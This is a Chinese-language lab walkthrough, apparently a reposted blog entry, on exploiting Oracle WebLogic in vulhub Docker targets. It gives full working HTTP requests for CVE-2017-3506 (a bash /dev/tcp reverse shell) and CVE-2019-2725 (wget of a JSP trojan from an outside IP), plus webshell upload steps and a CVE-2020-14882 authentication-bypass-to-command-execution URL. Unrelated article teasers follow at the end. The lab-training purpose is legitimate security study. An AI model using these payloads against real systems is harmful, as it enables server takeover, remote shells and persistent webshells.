WebLogic 靶场攻略

devtools/2024/9/23 1:08:04/

后台弱⼝令GetShell

步骤一:环境部署

cd vulhub-master/weblogic/weak_password

docker-compose up -d

docker ps

步骤二:漏洞复现

默认账号密码:weblogic/Oracle@123

步骤二:进行登录

http://192.168.10.190:7001/console/login/LoginForm.jsp

登录后台后,点击部署,点击安装,点击上载⽂件

步骤三:上传war包,jsp⽊⻢压缩成zip,修改后缀为war,上传

进行保存

步骤四:访问部署好的war,工具连接

CVE-2017-3506

步骤一:环境部署

cd vulhub-master/weblogic/weak_password

docker-compose up -d

docker ps

步骤二:验证是否存在wls-wsat组件

http://192.168.10.190:7001/wls-wsat/CoordinatorPortType

步骤三:在当前⻚⾯抓包之后,添加下⾯请求包,反弹shell。

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host:192.168.10.190:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 860

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <object class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>/bin/bash</string>
              </void>
              <void index="1">
                <string>-c</string>
              </void>
              <void index="2">
                <string>bash -i &gt;&amp; /dev/tcp/192.168.10.190/6666 0&gt;&amp;1
</string>
              </void>
            </array>
          <void method="start"/></object>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

CVE-2019-2725

步骤一:环境部署

 cd vulhub-master/weblogic/weak_password

docker-compose up -d

docker ps

步骤二:漏洞验证

http://192.168.10.190:7001/_async/AsyncResponseService

步骤二:在当前⻚⾯抓包 , 修改请求包 , 写⼊shell

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.10.190:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 839
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://114.55.130.115/6.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/6.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

步骤三:访问下载到weblogic服务器上的⽊⻢,进⾏链接

http://192.168.10.190:7001/bea_wls_internal/6.jsp

CVE-2018-2628

步骤一:环境部署

cd vulhub-master/weblogic/CVE-2018-2628

docker-compose up -d

步骤二:使用Java反序列化漏洞利用工具V1.7 by shack2 进行检查

CVE-2018-2894

步骤一:部署环境

cd vulhub-master/weblogic/CVE-2018-2894

docker-compose up -d

步骤二:漏洞复现

这⾥环境后台密码是随机得,获取密码: docker-compose logs | grep password

步骤二:设置Web服务测试开启

域结构 -> base-domain -> ⾼级 -> 启动Web服务测试页

步骤二:点击保存 , 进⼊ config.do ⽂件进⾏设置,将⽬录设置为 ws_utc 应⽤的静态⽂件css⽬录

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

步骤三:点击安全 , 点击添加

打开控制台, 找到对应时间戳

1726987173033

步骤四:Webshell链接

192.168.10.190:7001/ws_utc/css/config/keystore/1726987173033 _shell.jsp

CVE-2020-14882

步骤一:部署环境

cd vulhub-master/weblogic/CVE-2020-14882

docker-compose up -d

步骤二:访问管理控制台

http://192.168.10.190:7001/console/login/LoginForm.jsp

步骤三:使⽤以下url绕过登录认证

http://192.168.10.190:7001/console/css/%252e%252e%252fconsole.portal

步骤四:⾸先访问以下 URL ,以连接 2 个漏洞并执⾏以下命令

http://192.168.10.190:7001 /console/css/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")
我们进⼊到docker中可以看到命令已经成功运⾏了


http://www.ppmy.cn/devtools/115724.html

相关文章

高级I/O知识分享【5种IO模型 || select || poll】

博客主页&#xff1a;花果山~程序猿-CSDN博客 文章分栏&#xff1a;Linux_花果山~程序猿的博客-CSDN博客 关注我一起学习&#xff0c;一起进步&#xff0c;一起探索编程的无限可能吧&#xff01;让我们一起努力&#xff0c;一起成长&#xff01; 目录 一&#xff0c;前文 2&a…

Java-Part 0

Advanced Java and Cutting-edge Applications Part 0: Course presentation Part 1 其实就是个括号匹配问题&#xff0c;Stack 经典问题&#xff0c;但是好久没用Java&#xff0c;有一点点生疏&#xff0c;感觉老师的版本要简洁的多 package tiei.ajp.test;import java.uti…

信安 实验1 用Wireshark分析典型TCP/IP体系中的协议

实验1 用Wireshark分析典型TCP/IP体系中的协议 实验目的 通过Wireshark软件分析典型网络协议数据包&#xff0c;理解典型协议格式和存在的问题&#xff0c;为后续学习和相关实验打下基础。 实验内容 &#xff08;1&#xff09;安装Wireshark&#xff0c;熟悉功能菜单。 &…

高速服务区生活废水处理设备产地货源

诸城市鑫淼环保小编带大家了解一下高速服务区生活废水处理设备产地货源 高速公路服务区生活污水处理设备是专门针对高速公路服务区产生的生活污水进行处理的设备。这些设备通常具备高效、稳定、环保等特点&#xff0c;以确保服务区产生的污水能够得到有效处理&#xff0c;达到排…

计算机网络第二章(部分)

R1. 五种非专用的因特网应用及它们所使用的应用层协议: 电子邮件 (Email) - 使用 SMTP&#xff08;简单邮件传输协议&#xff09;文件传输 (File Transfer) - 使用 FTP&#xff08;文件传输协议&#xff09;网页浏览 (Web Browsing) - 使用 HTTP/HTTPS&#xff08;超文本传输协…

【Java】接口interface【主线学习笔记】

文章目录 前言接口interface接口内部结构的说明实现接口之间的关系接口的多态性 前言 Java是一门功能强大且广泛应用的编程语言&#xff0c;具有跨平台性和高效的执行速度&#xff0c;广受开发者喜爱。在接下来的学习过程中&#xff0c;我将记录学习过程中的基础语法、框架和实…

实时加密机的工作原理

实时加密机&#xff0c;作为数据加密领域的一种高级硬件设备&#xff0c;主要承担着对敏感数据进行实时加密和解密的任务&#xff0c;以确保数据在传输和存储过程中的安全性和完整性。以下是对实时加密机的详细阐述&#xff1a; 一、定义与功能 实时加密机是一种采用先进加密算…

【Azure Redis 缓存】Azure Redis出现了超时问题后,记录一步一步的排查出异常的客户端连接和所执行命令的步骤

问题描述 Azure Redis在使用的过程中&#xff0c;多次无规律的出现超时问题。抓取到客户端的异常错误后&#xff0c;想进一步的分析是何原因导致了如下异常呢&#xff1f; Timeout awaiting response (outbound0KiB, inbound0KiB, 5984ms elapsed, timeout is 5000ms), command…